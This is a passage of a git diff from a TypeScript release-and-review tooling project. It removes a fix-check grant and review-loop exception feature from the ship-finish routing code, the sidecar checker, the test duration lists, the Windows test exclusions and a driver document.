- : ungranted ? `no approved review_loop_grant names a stop head inside its range_base..commit${at(ungranted)}` : '';
- if (notCounted) r.add(`FIX_CHECK: not counted (${notCounted})`);
- const rulable = (l: FixLink) => (Array.isArray(l.row.findings) ? l.row.findings : []).filter((f: any) => !!f && !f.gate && RULABLE.has(f.action) && holdsOpen(f) && typeof f.fingerprint === 'string' && !ruledOn(l).has(f.fingerprint)).map((f: any) => f.fingerprint as string);
- for (const l of notCounted ? chain : []) if (rulable(l).length) r.add(`FIX_CHECK_OPEN: ${rulable(l).join(',')} on the fix-check at ${l.commit.slice(0, 12)}: the owner rules each one a disclosed note with gstack-approvals rule --finding <fingerprint> --head ${l.commit.slice(0, 12)} --reason '<why>' --words '<owner\'s exact words>' --by '<owner>'; a review-loop exception accepts edits after a fix-check, never its findings (docs/troubleshooting.md#fix-check-open)`);
- if (!chain.length || notCounted) return { counted: false, paths: [], exact: [] };
- if (bridged) r.add(bridged);
- const read: { any: (p: string) => boolean; exact: (p: string) => boolean }[] = [];
- for (const [k, l] of chain.entries()) {
- if (!clean.has(l)) continue;
- const later = new Set(chain.slice(k + 1).flatMap(d => handedOn.get(d) ?? []));
- const range = ranges.get(l), after = touchedPaths(cwd, l.commit, o.now);
- if (!range || !after) { r.stop(`git could not diff the fix-check range ${l.from.slice(0, 12)}..${l.commit.slice(0, 12)} against the reviewed and current trees: stage 2 is blocked`); return null; }
- const sides = { reviewedBase: patchBase(cwd, o.baseRef, l.commit, o.parent), reviewed: l.commit, currentBase: o.currentBase ?? git(cwd, ['merge-base', o.baseRef, 'HEAD']).stdout.trim(), current: o.now };
- read.push({ any: p => !later.has(p) && range.has(p) && (!after.has(p) || (!!sides.reviewedBase && !!sides.currentBase && comparePath(cwd, sides, p) === 'same')), exact: p => !later.has(p) && range.has(p) && !after.has(p) });
- }
- const paths = o.candidates.filter(p => read.some(f => f.any(p))).sort();
- const list = paths.length ? short(paths) : 'none';
- r.add(chain.length === 1 ? `FIX_CHECK: reviewed ${list} (fix-check at ${chain[0]!.commit.slice(0, 12)}, range from ${chain[0]!.from.slice(0, 12)}, grant ${granted[0]!.id})`
- : `FIX_CHECK: reviewed ${list} (fix-check chain of ${chain.length} from ${chain[0]!.from.slice(0, 12)}: ${chain.map((l, k) => `at ${l.commit.slice(0, 12)} grant ${granted[k]!.id}${clean.has(l) ? '' : ' (found issues)'}`).join('; ')})`);
- return { counted: true, paths, exact: paths.filter(p => read.some(f => f.exact(p))) };
+ for (const n of readRuledNotes(cwd)) if (!n.finding.startsWith('edit:')) r.add(`RULED_NOTE: ${ruledNoteText(n)}`);
+ for (const d of readGateDispositions(cwd)) r.add(`GATE_DISPOSITION: ${gateDispositionText(d)}${reviewRows.some(v => dispositionedOn(cwd, v, [d]).length) ? '' : ' (no open gate finding at this fingerprint on a review row whose range holds this head; not applied)'}`);
}
function route(cwd: string, base: string, reviewed: string, reviewedBase: ReviewedBase | undefined, release: string[], opts: RouteOpts, r: Report): Routed | null {
@@ -400,7 +271,7 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: Review
touched = new Set([...a, ...b]);
shipped = b;
}
- const by: Routed = { behavior: [], docs: [], metadata: [], tests: [], base: [], context: [], bounded: [], mechanical: [], accepted: [], fix_checked: [], fix_checked_exact: [], sidecar: [] };
+ const by: Routed = { behavior: [], docs: [], metadata: [], tests: [], base: [], context: [], bounded: [], mechanical: [], sidecar: [] };
const isMetadata = (p: string) => parent && shipped.has(p) ? opts.baseRelease!.includes(p) || harnessRepin(cwd, sides!.currentBase, now, p) : release.includes(p) || harnessRepin(cwd, reviewed, now, p);
const onlyShipped = new Set(parent ? [...shipped].filter(p => !changedSet.has(p)) : []);
const baseSide = new Set<string>();
@@ -427,29 +298,8 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: Review
by.behavior.push(...packetBody.over);
for (const k of ['context', 'tests', 'bounded'] as const) by[k] = by[k].filter(p => !packetBody.over.includes(p));
}
- const fix = fixChecked(cwd, { reviewed, now, baseRef, parent, currentBase: sides?.currentBase, metadata: isMetadata, bookkeeping: opts.bookkeeping, testCode: opts.testCode, candidates: [...by.behavior, ...by.tests, ...by.context, ...by.bounded] }, r);
- if (!fix) return null;
- const counted = fix.counted;
- by.fix_checked = fix.paths;
- by.fix_checked_exact = fix.exact;
- for (const k of ['behavior', 'tests', 'context', 'bounded'] as const) by[k] = by[k].filter(p => !by.fix_checked.includes(p));
+ printRulings(cwd, r);
const ancestor = (a: string, d: string) => git(cwd, ['merge-base', '--is-ancestor', a, d]).status === 0;
- const loop = opts.loop;
- if (loop) {
- const head = loop.fix_check.head;
- const since = touchedPaths(cwd, head, now);
- const fork = git(cwd, ['merge-base', baseRef, head]).stdout.trim();
- const own = fork ? touchedPaths(cwd, fork, head) : null;
- const fromParent = parent && ancestor(parent, head) ? touchedPaths(cwd, parent, head) : own;
- const atHead = own && fromParent ? new Set([...own].filter(p => fromParent.has(p))) : null;
- if (!since || !atHead) { r.stop(`git could not list the paths changed since fix-check ${head.slice(0, 12)} or the paths the branch touched at it against ${baseRef}: stage 2 is blocked`); return null; }
- const listed = loop.fix_check.files;
- const unscanned = [...by.behavior, ...by.docs].filter(p => isTestCode(p, opts.testCode));
- const forced = new Set([...gated, ...(packetBody?.over ?? []), ...(gateEditedPaths(cwd, reviewed, now, unscanned) ?? unscanned)]);
- by.accepted = [...by.behavior, ...by.docs].filter(p => since.has(p) && atHead.has(p) && (!listed || listed.includes(p)) && !forced.has(p)).sort();
- by.behavior = by.behavior.filter(p => !by.accepted.includes(p));
- by.docs = by.docs.filter(p => !by.accepted.includes(p));
- }
const edits = readRuledNotes(cwd).filter(n => n.finding.startsWith('edit:'));
const top = edits.length ? git(cwd, ['rev-parse', '--show-toplevel']).stdout.trim() : '';
const entry = (tree: string, p: string) => { const ls = git(cwd, ['--literal-pathspecs', 'ls-tree', '-z', '--full-tree', tree, '--', p]); const rows = ls.stdout.split('\0').filter(Boolean);
@@ -471,11 +321,10 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: Review
if (ok) ruled.set(p, ok[0]); else if (why.length) refusedEdits.push(`${p} (${why.at(-1)![1]}; keep the edit and run /ship again, docs/ship-policy.md#ruled-edits)`);
}
by.behavior = by.behavior.filter(p => !ruled.has(p));
- const uid = uidSidecars(cwd, { sides, candidates: parent ? [] : by.behavior, accepted: by.accepted, excluded: opts.excluded });
+ const uid = uidSidecars(cwd, { sides, candidates: parent ? [] : by.behavior, excluded: opts.excluded });
by.sidecar = Object.keys(uid.proven).sort();
by.behavior = by.behavior.filter(p => !by.sidecar.includes(p));
- r.add(`ROUTE: reviewed=${reviewed.slice(0, 12)} current=${now.slice(0, 12)} behavior=${by.behavior.length} docs=${by.docs.length} metadata=${by.metadata.length} tests=${by.tests.length} base=${sides ? by.base.length : 'unknown'} context=${by.context.length}${by.bounded.length ? ` bounded=${by.bounded.length}` : ''}${by.mechanical.length ? ` mechanical=${by.mechanical.length}` : ''}${counted ? ` fix_checked=${by.fix_checked.length}` : ''}${loop ? ` accepted=${by.accepted.length}` : ''}${by.sidecar.length ? ` sidecar=${by.sidecar.length}` : ''}`);
- if (loop) r.add(`REVIEW_LOOP_EXCEPTION: accepted ${by.accepted.length ? short(by.accepted) : 'none'} (changed since fix-check ${loop.fix_check.head.slice(0, 12)}; accepted by ${loop.accepted_by} ${loop.date} via ${loop.via})`);
+ r.add(`ROUTE: reviewed=${reviewed.slice(0, 12)} current=${now.slice(0, 12)} behavior=${by.behavior.length} docs=${by.docs.length} metadata=${by.metadata.length} tests=${by.tests.length} base=${sides ? by.base.length : 'unknown'} context=${by.context.length}${by.bounded.length ? ` bounded=${by.bounded.length}` : ''}${by.mechanical.length ? ` mechanical=${by.mechanical.length}` : ''}${by.sidecar.length ? ` sidecar=${by.sidecar.length}` : ''}`);
for (const [p, n] of ruled) r.add(`RULED_EDIT: ${p} (ruled at ${n.head.slice(0, 12)} by ${n.by}, approval ${n.approval})`);
for (const x of refusedEdits) r.add(`RULED_EDIT_REFUSED: ${x}`);
for (const n of edits) r.add(`RULED_NOTE: ${ruledNoteText(n)}${[...ruled.values()].includes(n) ? '' : ' (no RULED_EDIT at this head; not applied)'}`);
@@ -514,12 +363,12 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: Review
}
/**
- * Step 16 stage 3. Test code, paths a counted fix-check read at their current bytes (stage 2's fix_checked, unchanged since that read, never by patch equivalence across a base merge; GST-3560), paths only the base or a stamp moved, a slot restamp after the audit (the CHANGELOG's heading
+ * Step 16 stage 3. Test code, paths only the base or a stamp moved, a slot restamp after the audit (the CHANGELOG's heading
* move or re-heading after the restamp writer's own merge of the base's CHANGELOG into the audited one, the version file's
* version, each against the audited bytes; GST-906), and --docs-requested fixes the audit's own result asked for do not
* stale the audit (GST-391).
*/
-function docsFresh(cwd: string, base: string, postFile: string, moved: readonly string[], requested: string[], resultFile: string | undefined, loopAccepted: readonly string[] | undefined, fixChecked: readonly string[], parent: string | undefined, testCode: readonly string[], r: Report): boolean {
+function docsFresh(cwd: string, base: string, postFile: string, moved: readonly string[], requested: string[], resultFile: string | undefined, parent: string | undefined, testCode: readonly string[], r: Report): boolean {
const cmp = bin(cwd, 'gstack-docs-candidate', ['compare', postFile], 120_000);
let stale: string[] | null = null;
try { stale = JSON.parse(cmp.stdout).content_changed; } catch { stale = null; }
@@ -574,11 +423,9 @@ function docsFresh(cwd: string, base: string, postFile: string, moved: readonly
});
const carried = { tests: stale.filter(p => isTestCode(p, testCode)), base: stale.filter(p => !isTestCode(p, testCode) && (moved.includes(p) || restamped.includes(p) || (!!auditBase && !!nowBase && !branchAtAudit.has(p) && !branchNow.has(p))
|| (!!auditBase && !!nowBase && /^[0-9a-f]{40,64}$/.test(nowTree) && ![...record.staged, ...record.unstaged, ...record.untracked].includes(p) && comparePath(cwd, { reviewedBase: auditBase, reviewed: record.head, currentBase: nowBase, current: nowTree }, p) === 'same'))), requested: [] as string[], accepted: [] as string[], fix_checked: [] as string[] };
- carried.accepted = stale.filter(p => loopAccepted?.includes(p) && !carried.tests.includes(p) && !carried.base.includes(p));
- carried.fix_checked = stale.filter(p => fixChecked.includes(p) && !carried.tests.includes(p) && !carried.base.includes(p) && !carried.accepted.includes(p));
let audit: any = null;
try { audit = resultFile ? JSON.parse(fs.readFileSync(resultFile, 'utf8')) : null; } catch { audit = null; }
- for (const p of requested.filter(q => stale!.includes(q) && !carried.tests.includes(q) && !carried.base.includes(q) && !carried.accepted.includes(q) && !carried.fix_checked.includes(q))) {
+ for (const p of requested.filter(q => stale!.includes(q) && !carried.tests.includes(q) && !carried.base.includes(q))) {
const asked = [...(Array.isArray(audit?.blockers) ? audit.blockers : []), ...(Array.isArray(audit?.decisions) ? audit.decisions : [])].filter((s: unknown) => typeof s === 'string');
const token = new RegExp(`(^|[\\s\`'"(\\[])${p.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}(?::\\d+(?::\\d+)?)?(?=$|[\\s\`'")\\]]|[,.:;](?:$|\\s))`);
const stat = git(cwd, ['diff', '--numstat', '--no-renames', record.head, '--', `:(literal)${p}`]).stdout.trim().split(/\s+/);
@@ -593,8 +440,8 @@ function docsFresh(cwd: string, base: string, postFile: string, moved: readonly
carried.requested.push(p);
}
if (carried.requested.length && bin(cwd, 'gstack-ship-receipt', ['docs-caps', '--base', base], 60_000).status !== 0) { r.stop('a --docs-requested fix breaks a doc cap (gstack-ship-receipt docs-caps): trim the file, then rerun finish'); return false; }
- const left = stale.filter(p => !carried.tests.includes(p) && !carried.base.includes(p) && !carried.requested.includes(p) && !carried.accepted.includes(p) && !carried.fix_checked.includes(p));
- const note = left.length || stale.length === 0 ? '' : ` (carried: tests=${carried.tests.length} base=${carried.base.length} requested=${carried.requested.length}${loopAccepted ? ` accepted=${carried.accepted.length}` : ''}${fixChecked.length ? ` fix_checked=${carried.fix_checked.length}` : ''})`;
+ const left = stale.filter(p => !carried.tests.includes(p) && !carried.base.includes(p) && !carried.requested.includes(p));
+ const note = left.length || stale.length === 0 ? '' : ` (carried: tests=${carried.tests.length} base=${carried.base.length} requested=${carried.requested.length})`;
const exception = record.exception ? ` (blocked; documentation exception accepted by ${record.exception.accepted_by} ${record.exception.date} via ${record.exception.via})` : '';
r.add(`DOCS: ${left.length ? `stale (${short(left)})` : `fresh against the Step 14.5 post-audit snapshot${note}${exception}`}`);
if (left.length) { r.stop('documentation inputs changed since the accepted audit: use stage 3 recovery (the remaining re-audit, a fix the audit\'s result asked for via --docs-requested <path> --docs-result <audit-id>-result.json, or a named risk); never refresh hashes'); return false; }
@@ -629,19 +476,7 @@ async function finishStages(argv: readonly string[], cwd: string): Promise<Repor
const base = flag('--base')!;
const r = new Report();
const list = lanes(argv) as { label: string; command: string }[];
- let loop: FixCheckException | undefined;
- const loopArg = flag('--review-loop-exception');
- if (loopArg !== undefined) {
- let raw: unknown;
- try { raw = JSON.parse(loopArg.startsWith('@') ? fs.readFileSync(path.resolve(cwd, loopArg.slice(1)), 'utf8') : loopArg); } catch (e) { return r.stop(`--review-loop-exception: ${firstLine((e as Error).message)}`); }
- const parsed = parseReviewLoopException(raw);
- if (!parsed.ok) return r.stop(`--review-loop-exception: ${parsed.message}`);
- const fixCheck = parsed.exception.fix_check;
- if (!fixCheck) return r.stop('--review-loop-exception: finish routes edits made after a fix-check; a second_pass exception accepts an open finding, not edits, so run finish without it and pass it to gstack-ship-receipt write');
- if (Array.isArray((raw as { fix_check?: { files?: unknown } }).fix_check?.files) && !fixCheck.files) return r.stop('--review-loop-exception: fix_check.files lists no paths; omit it to accept the paths the branch touched at fix_check.head');
- if (git(cwd, ['merge-base', '--is-ancestor', fixCheck.head, 'HEAD']).status !== 0) return r.stop(`--review-loop-exception: fix_check.head ${fixCheck.head.slice(0, 12)} is not HEAD or an ancestor of it`);
- loop = { ...parsed.exception, fix_check: fixCheck };
- }
+ if (flag('--review-loop-exception') !== undefined) return r.stop('--review-loop-exception was removed with fix-check grants (GST-3562 part 4): an edit after the review bound is behavior, so keep it and run /gstack-ship again, or the lane\'s Captain rules it a note (docs/ship-policy.md#ruled-edits)');
const policy = shipPolicy(cwd, base);
if (!commitRelease(cwd, releasePaths(policy, cwd, 'HEAD', base), flag('--trailer'), r)) return r;
for (const cmd of all('--build')) {
@@ -662,9 +497,9 @@ async function finishStages(argv: readonly string[], cwd: string): Promise<Repor
const reviewedBase = reviewedBaseArg === undefined ? undefined : reviewedBaseCommit(cwd, `origin/${base.replace(/^origin\//, '')}`, reviewedBaseArg, [...releasePaths(policy, cwd, flag('--reviewed-tree')!, base, true).map(p => `:(top,exclude,literal)${p}`), ...fragments], r);
if (reviewedBase === null) return r;
const baseRelease = reviewedBase?.parent ? releasePaths(policy, cwd, git(cwd, ['merge-base', `origin/${base.replace(/^origin\//, '')}`, 'HEAD']).stdout.trim(), base, true) : undefined;
- const routed = route(cwd, base, flag('--reviewed-tree')!, reviewedBase, release, { docsRechecked: has('--docs-rechecked'), contextReviewed: flag('--context-reviewed'), loop, audited, bookkeeping, mechanical, testCode: globs('test_code'), excluded: [...globs('review_exclude_paths'), ...forbidden], baseRelease }, r);
+ const routed = route(cwd, base, flag('--reviewed-tree')!, reviewedBase, release, { docsRechecked: has('--docs-rechecked'), contextReviewed: flag('--context-reviewed'), audited, bookkeeping, mechanical, testCode: globs('test_code'), excluded: [...globs('review_exclude_paths'), ...forbidden], baseRelease }, r);
if (!routed) return r;
- if (!docsFresh(cwd, base, flag('--docs-post')!, [...routed.base, ...routed.context, ...routed.mechanical, ...stampedFiles(policy, cwd, flag('--reviewed-tree')!, base)], all('--docs-requested'), flag('--docs-result'), loop ? routed.accepted : undefined, routed.fix_checked_exact, reviewedBase?.parent ? reviewedBase.commit : undefined, globs('test_code'), r)) return r;
+ if (!docsFresh(cwd, base, flag('--docs-post')!, [...routed.base, ...routed.context, ...routed.mechanical, ...stampedFiles(policy, cwd, flag('--reviewed-tree')!, base)], all('--docs-requested'), flag('--docs-result'), reviewedBase?.parent ? reviewedBase.commit : undefined, globs('test_code'), r)) return r;
if (!list.length && !has('--no-lanes-approved')) return r.stop('no test lanes: require Step 5\'s explicit untested-scope approval (rerun with --no-lanes-approved) or run Steps 5-15');
const allow = evidenceExempt(release).join(',');
const check = (l: { label: string; command: string }) => bin(cwd, 'gstack-evidence', ['check', '--label', l.label, '--expect-cmd', l.command, '--max-age', '24', '--allow-paths', allow], 60_000).stdout;
@@ -697,7 +532,7 @@ async function finishStages(argv: readonly string[], cwd: string): Promise<Repor
const verdict = /^PREGATE: (.+?) tree=/m.exec(pg.stdout + pg.stderr)?.[1] ?? `unreadable (exit ${pg.status})`;
r.add(`PREGATE: preflight ${verdict} on the stamped tree (the tests stage runs in accept, carried from CI)`);
if (!/^(pass|warn)/.test(verdict)) return r.stop(`pregate preflight ${verdict} on the stamped tree: fix it, then rerun finish`);
- return r.next(`Step 16 stage 5, then Step 17's guard block and gstack-ship-release push; then gstack-ship-release accept --base ${base} ${laneArgs} carries ${deferred.join(', ')} from CI at the pushed head${loop ? '; Step 18 records the same exception with gstack-ship-receipt write --review-loop-exception' : ''}`);
+ return r.next(`Step 16 stage 5, then Step 17's guard block and gstack-ship-release push; then gstack-ship-release accept --base ${base} ${laneArgs} carries ${deferred.join(', ')} from CI at the pushed head`);
}
const v = bin(cwd, 'gstack-pregate', ['verify', '--base', base], 60_000);
if (v.status === 0) r.add('PREGATE: verify ok on the stamped tree');
@@ -709,7 +544,7 @@ async function finishStages(argv: readonly string[], cwd: string): Promise<Repor
r.add(`PREGATE: ${verdict} (rerun on the stamped tree)`);
if (!/^(pass|warn|requires-remote cleared)/.test(verdict)) return r.stop(`pregate ${verdict} on the stamped tree: fix it${/uncleared/.test(verdict) ? ', or gstack-pregate clear with the remote run URL' : ''}, then rerun finish`);
}
- return r.next(`Step 16 stage 5: paste these results and the two-line honesty inventory, then run Step 17's guard block and gstack-ship-release push${loop ? '; Step 18 records the same exception with gstack-ship-receipt write --review-loop-exception' : ''}`);
+ return r.next(`Step 16 stage 5: paste these results and the two-line honesty inventory, then run Step 17's guard block and gstack-ship-release push`);
}
/**
diff --git a/lib/ship-sidecar.ts b/lib/ship-sidecar.ts
index bbd1e48a6..8d38beca6 100644
--- a/lib/ship-sidecar.ts
+++ b/lib/ship-sidecar.ts
@@ -7,8 +7,7 @@
* a path as a sidecar, with no reader, only when every proof holds:
* - the branch adds it after review: no such path at the reviewed tree or the current base (a changed UID re-identifies
* the script for every uid:// reference to it);
- * - its sibling (the path without `.uid`) is a regular file now, and one the reviewed range added or modified, or one
- * the review-loop exception accepted;
+ * - its sibling (the path without `.uid`) is a regular file now, and one the reviewed range added or modified;
* - it is a regular, non-executable file whose whole content is exactly what Godot writes for one id, and no other file
* in the current tree declares that uid:// as its own (a copied sidecar gives two resources one UID; a scene that
* references the script by it is fine);
@@ -23,8 +22,6 @@ export interface SidecarInput {
sides?: PatchSides;
/** Paths finish still routes as behavior; only those ending in `.uid` are candidates. */
candidates: readonly string[];
- /** Paths the review-loop exception accepted. */
- accepted: readonly string[];
/** The git glob pathspecs no reader saw: the base policy's review_exclude_paths and readers.forbid_paths. */
excluded: readonly string[];
}
@@ -85,7 +82,7 @@ export function uidSidecars(cwd: string, i: SidecarInput): { proven: Record<stri
const refuse = (reason: string) => refused.push({ path: p, reason });
const sibling = p.slice(0, -'.uid'.length);
const reviewed = range.has(sibling) && regular(entry(cwd, s.reviewed, sibling));
- if (!sibling || sibling.endsWith('/') || (!reviewed && !i.accepted.includes(sibling))) { refuse(`has no sibling ${sibling || '(none)'} that the reviewed range added or modified or the review-loop exception accepted`); continue; }
+ if (!sibling || sibling.endsWith('/') || !reviewed) { refuse(`has no sibling ${sibling || '(none)'} that the reviewed range added or modified`); continue; }
if (!regular(entry(cwd, s.current, sibling))) { refuse(`has no sibling ${sibling} at the current tree`); continue; }
if (entry(cwd, s.reviewed, p) || entry(cwd, s.currentBase, p)) { refuse('existed at the reviewed tree or the current base (a changed UID re-identifies the script)'); continue; }
const e = entry(cwd, s.current, p);
diff --git a/scripts/free-test-durations-windows.json b/scripts/free-test-durations-windows.json
index c058f1305..c3c1f7d21 100644
--- a/scripts/free-test-durations-windows.json
+++ b/scripts/free-test-durations-windows.json
@@ -777,8 +777,7 @@
"test/review-risk-linear.test.ts": 1362,
"test/review-risk-redos.test.ts": 629,
"test/review-risk-token-paths.test.ts": 1169,
- "test/review-round-grant-own-lines.test.ts": 4811,
- "test/review-round-grant.test.ts": 88,
+ "test/own-lines.test.ts": 4811,
"test/review-scope-followups.test.ts": 75,
"test/review-scope-unlogged-readers.test.ts": 20365,
"test/review-scope-windows-launch.test.ts": 2697,
diff --git a/scripts/free-test-durations.json b/scripts/free-test-durations.json
index 19db1f5a4..f994005cd 100644
--- a/scripts/free-test-durations.json
+++ b/scripts/free-test-durations.json
@@ -731,8 +731,6 @@
"test/external-host-carve.test.ts": 3393,
"test/factory-scorecard.test.ts": 1141,
"test/first-use.test.ts": 583,
- "test/fix-check-clearing.test.ts": 28967,
- "test/fix-check-hunks-restamp.test.ts": 400,
"test/flake-ledger.test.ts": 132,
"test/flaky-run.test.ts": 643,
"test/founder-resources-bin.test.ts": 402,
@@ -1378,7 +1376,6 @@
"test/review-pass-voice-failures.test.ts": 54983,
"test/review-pass.test.ts": 48403,
"test/review-plan-cli.test.ts": 30314,
- "test/review-plan-granted-targeted.test.ts": 4512,
"test/review-plan-merged-range.test.ts": 2123,
"test/review-plan-origin-base.test.ts": 4884,
"test/review-plan-post-review-stamps.test.ts": 14357,
@@ -1393,8 +1390,7 @@
"test/review-risk-redos.test.ts": 556,
"test/review-risk-routing.test.ts": 153,
"test/review-risk-token-paths.test.ts": 475,
- "test/review-round-grant-own-lines.test.ts": 461,
- "test/review-round-grant.test.ts": 38,
+ "test/own-lines.test.ts": 461,
"test/review-round2-plan.test.ts": 7064,
"test/review-scope-followups.test.ts": 41,
"test/review-scope-ledger-count.test.ts": 10488,
@@ -1411,8 +1407,6 @@
"test/review-verdict.test.ts": 248,
"test/review-workflow-clarity.test.ts": 216,
"test/review-workflow-fixture.test.ts": 30,
- "test/round-cap-granted-stop.test.ts": 9678,
- "test/round-cap-ruling-path.test.ts": 28792,
"test/router-disabled-skills.test.ts": 900,
"test/routing-probe.test.ts": 27,
"test/run-evidence-job-log.test.ts": 155,
@@ -1558,7 +1552,6 @@
"test/ship-coverage-audit-af.test.ts": 55,
"test/ship-document-release-dispatch.test.ts": 22123,
"test/ship-driver.test.ts": 355,
- "test/ship-finish-fixed-links.test.ts": 55525,
"test/ship-finish-ruled-notes.test.ts": 92855,
"test/ship-finish-stack-parent.test.ts": 58306,
"test/ship-frozen-scope-actor.test.ts": 4936,
@@ -1602,7 +1595,6 @@
"test/ship-receipt-carry-pregate.test.ts": 4776,
"test/ship-receipt-carry-rewrite.test.ts": 6871,
"test/ship-receipt-carry-squash.test.ts": 19556,
- "test/ship-receipt-claim-fail-closed.test.ts": 33837,
"test/ship-receipt-depth.test.ts": 9784,
"test/ship-receipt-platform.test.ts": 933,
"test/ship-receipt-prose.test.ts": 206,
diff --git a/scripts/lib/windows-curation.ts b/scripts/lib/windows-curation.ts
index 00100856d..d76b50664 100644
--- a/scripts/lib/windows-curation.ts
+++ b/scripts/lib/windows-curation.ts
@@ -485,29 +485,13 @@ export const KNOWN_WINDOWS_INCOMPATIBLE: Array<{ file: string; reason: string }>
reason: 'drives bin/gstack-ship-preflight, gstack-ship-run, gstack-ship-receipt, gstack-approvals, gstack-review-log, gstack-lease and gstack-skill-end (shebangs) through test/helpers/ship-bin-fixture.ts like test/round-cap-granted-stop.test.ts; a bin spawn fails on windows-latest the same way (first-bin-spawn failure class of test/ship-uid-sidecar.test.ts)',
},
{
- file: 'test/fix-check-hunks-restamp.test.ts',
- reason: 'runs bin/gstack-review-dispatch (a shebang) and a git fixture like test/review-pass-program.test.ts; a bin spawn fails on windows-latest the same way (first-bin-spawn failure class of test/ship-uid-sidecar.test.ts)',
- },
- {
- file: 'test/fix-check-clearing.test.ts',
- reason: 'drives bin/gstack-ship-receipt, gstack-approvals, gstack-review-log, gstack-review-plan, gstack-review-scope, gstack-review-read and gstack-ship-release (shebangs) through test/helpers/ship-bin-fixture.ts like test/round-cap-granted-stop.test.ts; a bin spawn fails on windows-latest the same way (first-bin-spawn failure class of test/ship-uid-sidecar.test.ts)',
- },
- {
- file: 'test/round-cap-ruling-path.test.ts',
- reason: 'drives bin/gstack-ship-receipt, gstack-approvals, gstack-review-log, gstack-review-plan, gstack-review-scope, gstack-ship-run and gstack-ship-release (shebangs) through test/helpers/ship-bin-fixture.ts like test/fix-check-clearing.test.ts, and reads /proc for run owners; a bin spawn fails on windows-latest the same way (first-bin-spawn failure class of test/ship-uid-sidecar.test.ts)',
- },
- {
- file: 'test/ship-receipt-claim-fail-closed.test.ts',
- reason: 'drives bin/gstack-ship-preflight, gstack-ship-receipt, gstack-approvals and gstack-review-log (shebangs) through test/helpers/ship-bin-fixture.ts like test/round-cap-granted-stop.test.ts; a bin spawn fails on windows-latest the same way (first-bin-spawn failure class of test/ship-uid-sidecar.test.ts)',
+ file: 'test/ship-run-hold-release.test.ts',
+ reason: 'drives bin/gstack-ship-receipt, gstack-approvals, gstack-review-log, gstack-review-plan, gstack-review-scope, gstack-ship-run and gstack-ship-release (shebangs) through test/helpers/ship-bin-fixture.ts, and reads /proc for run owners; a bin spawn fails on windows-latest the same way (first-bin-spawn failure class of test/ship-uid-sidecar.test.ts)',
},
{
file: 'test/ship-receipt-write-keeps-earlier-runs.test.ts',
reason: 'puts a #!/bin/sh gh shim on a PATH it joins for bin/gstack-ship-receipt write; windows-latest cannot launch an extensionless shell script, like the gh shim in test/ship-queue-land.test.ts',
},
- {
- file: 'test/round-cap-granted-stop.test.ts',
- reason: 'drives bin/gstack-ship-receipt, gstack-approvals, gstack-review-plan, gstack-review-log, gstack-review-scope and gstack-ship-release (shebangs) through test/helpers/ship-bin-fixture.ts like test/ship-finish-fixed-links.test.ts; a bin spawn fails on windows-latest the same way (first-bin-spawn failure class of test/ship-uid-sidecar.test.ts)',
- },
{
file: 'test/ship-uid-sidecar.test.ts',
reason: 'drives bin/gstack-ship-release, gstack-ship-receipt, gstack-docs-candidate and gstack-wtree (shebangs) through test/helpers/ship-bin-fixture.ts like test/ship-mechanical-retake.test.ts; windows-latest fails every case at the first bin spawn (windows-scoped-shard, run 42205201312)',
@@ -524,10 +508,6 @@ export const KNOWN_WINDOWS_INCOMPATIBLE: Array<{ file: string; reason: string }>
file: 'test/ship-record-ci-reuse.test.ts',
reason: 'drives bin/gstack-evidence, gstack-ship-preflight and gstack-ship-release (shebangs) through test/helpers/ship-bin-fixture.ts like test/ship-accept-remote-gate-lanes.test.ts; windows-latest fails every case at the first bin spawn (windows-scoped-shard, run 42382484796)',
},
- {
- file: 'test/ship-finish-fixed-links.test.ts',
- reason: 'drives bin/gstack-ship-release, gstack-approvals, gstack-review-log, gstack-docs-candidate and gstack-wtree (shebangs) through test/helpers/ship-bin-fixture.ts like test/ship-finish-ruled-notes.test.ts; windows-latest fails every case at the first bin spawn (windows-free-shard 3, run 42593329215)',
- },
{
file: 'test/ship-finish-edit-ruling.test.ts',
reason: 'drives bin/gstack-ship-release, gstack-approvals, gstack-docs-candidate and gstack-wtree (shebangs) through test/helpers/ship-bin-fixture.ts like test/ship-finish-ruled-notes.test.ts, whose every case fails on windows-latest at the first bin spawn',
diff --git a/ship/DRIVER.md b/ship/DRIVER.md
index 58c532ddd..f7b5827f2 100644
--- a/ship/DRIVER.md
+++ b/ship/DRIVER.md
@@ -29,11 +29,10 @@ file, unchanged; its findings reach `merged.jsonl` only via `collect`; `judge` r
**Calls.** One pass with no fixes is 9 calls: Phases 1-8 and the report; at most 12 with a STOP's
section read or a repeat pass, plus a keep-alive per 200 s waited under ~80 min (longer: end the turn on one wait; no 10-15 min polls).
-**Budget: observe.** `gstack-ship-budget start --mode observe` only records: each program ends
-with `gstack-ship-budget note --step <last step> --reading R --credits C --record <rec>`, R and C read in it
-(Capy: `cost.tokens`, `cost.credits`). No check per step, no reservation, no meter-only
-call, no handoff; under `--token-cap` a note past the cap prints `verdict=stop`, the one stop check on spend.
-A dispatching program passes `--dispatched-at <R> --dispatched-credits <C> --readers <n>` (`BEFORE`).
+**Budget: start and close only.** `gstack-ship-budget start --mode observe` records the first reading and Step 22's
+`close` the last (R and C from the host; Capy: `cost.tokens`, `cost.credits`). No note per program, no check per step,
+no reservation, no meter-only call, no handoff. The pass's own note keeps the reader pair (`--dispatched-at <R>
+--dispatched-credits <C> --readers <n>`) and, under `--token-cap`, `verdict=stop`: the one stop check on spend.
**Waits.** No call waits past 200 s: a program returns what still runs 200 s after its first line; the next
call resumes the poll. Lanes, pregate, `finish` run in background; after a restart, rerun the same command. Never end the turn while
@@ -68,7 +67,8 @@ harness: start the eval selector and pre-merge command (detached past 30 min); e
record `evals: none affected`. Step 6.5 runs only if `gstack-greptile-early detect` finds
Greptile. Then `gstack-ship-preflight --audit --base <base> --out <run dir>` writes the diff once
(`CONTEXT:`) and the TODOS.md items on touched paths (`TODOS:`); prints the coverage map,
-plan candidates and `READER: coverage=<needed|none> plan=<needed|none>`; Phase 3 runs neither reader.
+plan candidates and `READER: coverage=<needed|none> plan=<needed|none>`; Phase 3 never runs the coverage reader; the plan reader only on `plan=needed`.
+A plan agreed only in conversation reads `plan=none`: before `--audit`, write it to `.gstack/plans/<branch>.md` naming the branch.
Never read TODOS.md or the full diff into the parent. A `PERSIST:` hint never replaces Step 9.
## 3. Audits and review: Steps 7, 8, 9, 9.1, 9.2, 9.2.1
